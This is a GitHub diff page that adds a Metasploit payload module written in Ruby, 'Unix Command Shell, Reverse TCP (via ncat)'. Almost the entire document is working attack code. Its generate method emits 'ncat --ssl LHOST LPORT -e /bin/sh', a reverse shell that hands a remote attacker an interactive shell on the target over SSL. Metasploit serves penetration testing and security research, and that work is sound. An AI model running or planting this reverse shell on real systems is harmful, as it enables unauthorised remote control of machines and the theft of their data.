File tree Expand file tree Collapse file tree 1 file changed +52
-0
lines changed
modules/payloads/singles/cmd/unix Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'msf/core/handler/reverse_tcp_ssl'
8
+ require 'msf/base/sessions/command_shell'
9
+ require 'msf/base/sessions/command_shell_options'
10
+
11
+ module MetasploitModule
12
+
13
+ CachedSize = :dynamic
14
+
15
+ include Msf ::Payload ::Single
16
+ include Msf ::Sessions ::CommandShellOptions
17
+
18
+ def initialize ( info = { } )
19
+ super ( merge_info ( info ,
20
+ 'Name' => 'Unix Command Shell, Reverse TCP (via ncat)' ,
21
+ 'Description' => 'Creates an interactive shell via ncat, utilising ssl mode' ,
22
+ 'Author' => 'C_Sto' ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Platform' => 'unix' ,
25
+ 'Arch' => ARCH_CMD ,
26
+ 'Handler' => Msf ::Handler ::ReverseTcpSsl ,
27
+ 'Session' => Msf ::Sessions ::CommandShell ,
28
+ 'PayloadType' => 'cmd' ,
29
+ 'RequiredCmd' => 'ncat' ,
30
+ 'Payload' =>
31
+ {
32
+ 'Offsets' => { } ,
33
+ 'Payload' => ''
34
+ }
35
+ ) )
36
+ end
37
+
38
+ #
39
+ # Constructs the payload
40
+ #
41
+ def generate
42
+ return super + command_string
43
+ end
44
+
45
+ #
46
+ # Returns the command string to use for execution
47
+ #
48
+ def command_string
49
+ "ncat --ssl #{ datastore [ 'LHOST' ] } #{ datastore [ 'LPORT' ] } -e /bin/sh "
50
+ end
51
+
52
+ end
You can’t perform that action at this time.
0 commit comments